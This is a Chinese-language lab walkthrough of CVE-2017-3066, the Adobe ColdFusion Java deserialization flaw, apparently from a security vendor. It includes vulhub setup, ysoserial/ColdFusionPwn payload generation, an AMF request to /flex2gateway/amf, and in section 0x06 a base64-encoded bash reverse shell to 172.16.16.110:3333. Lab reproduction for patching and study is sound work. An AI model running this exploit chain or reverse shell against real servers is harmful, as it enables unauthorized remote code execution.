CVE-2017-3066:Adobe ColdFusion 反序列化漏洞

 
 

0x01 漏洞简述

 

 

Adobe ColdFusion中存在java序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响:Adobe ColdFusion (2016 release) Update 3及之前的版本,ColdFusion 11 Update 11及之前的版本,ColdFusion 10 Update 22及之前的版本。
 
 
 

0x02 知识扩展

 
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
 
 
 

0x03 风险等级

 
漏洞的评定结果如下:
评定方式 等级
威胁等级 高危
影响面    一般
 
 

0x04 影响版本

 
Adobe ColdFusion (2016 release) Update 3及之前的版本
ColdFusion 11 Update 11及之前的版本
ColdFusion 10 Update 22及之前的版本
 
 
 

0x05 漏洞搭建

 
漏洞环境
靶机:Ubuntu 14.04
IP:172.16.16.109
攻击机:Win 10 
IP:172.16.16.106     
 
安装搭建
1、在线靶场
http://vulfocus.fofa.so
2、本地vulhub环境搭建,使用vulfocus靶场一键启动搭建本漏洞环境。
1)首先下载docker
sudo apt-get install docker
2)开启docker
systemctl start docker
3)下载vulhub
  • git clone --depth=1https://github.com.cnpmjs.org/vulhub/vulhub.git
4)启动docker 
  • service docker start
3开启漏洞环境

1)进入漏洞中

  • cd /root/vulhub/coldfusion/CVE-2017-3066

2)开启漏洞环境

  • docker-compose build && docker-composeup-d

3)环境启动成功后,访问

  • http://172.16.16.109:8500/CFIDE/administrator/index.cfm

输入密码vulhub,即可成功安装Adobe ColdFusion

4利用ColdFusionPwn生成POC

1)下载ColdFusionPwnhttps://github.com/codewhitesec/ColdFusionPwn/releases/download/0.0.1/ColdFusionPwn-0.0.1-SNAPSHOT-all.jar

 

2)下载ysoserial

  • https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

3)将下载的安装包更改名字,放入kali中​​​​​​​

ysoserial-master-SNAPSHOT.jar更改为ysoserial.jar
ColdFusionPwn-0.0.1-SNAPSHOT-all.jar更改为ColdFusionPwn.jar

4)在kali中执行命令

5)查看poc.ser

6)生成poc.ser文件后,抓包后POC作为数据包body使用burpsuit发送给

  • http://your-ip:8500/flex2gateway/amf,Content-Type为application/x-amf:

注意:右击选择Paste From File,上传poc.cer文件

  • POST /flex2gateway/amf HTTP/1.1
  • Host: your-ip:8500
  • Accept-Encoding: gzip, deflate
  • Accept: */*
  • Accept-Language: en
  • User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  • Connection: close
  • Content-Type: application/x-amf
  • Content-Length: 2853

7)发送后我们查看响应头为HTTP/1.1 200 OK,发送成功。

8)Docker ps -a 发现成功建立了一个容器。

 

 
 

0x06 漏洞复现

 

1)我们利用ColdFusionPwn生成攻击的exp.ser,将POC改成反弹命令,再通过burpsuit上传。

  •  
sudo java -cp ColdFusionPwn.jar:ysoserial.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTYuMTEwLzMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" exp.ser

2)我们需要把之前的

'touch /tmp/CVE-2017-3066_is_success'换为我们的bash -i >& /dev/tcp/172.16.16.110/3333 0>&1

注意需要进行bash64编译。查看exp.ser

3)抓取数据包并改包,利用brupsuit 将exp.ser上传到我们的靶机中。

4)响应头显示HTTP/1.1 200 OK,发送成功

5)返回我们的kali中,发现shell成功返还。

 

 
 

0x07 修复建议

 

下载最新版本

coldfusion https://www.adobe.com/products/coldfusion-family.html
如果您遇到网络安全问题
欢迎致电:0991-8156363
或发送至:sudo@xjsec.cn
新疆海狼科技,您身边的网络安全助理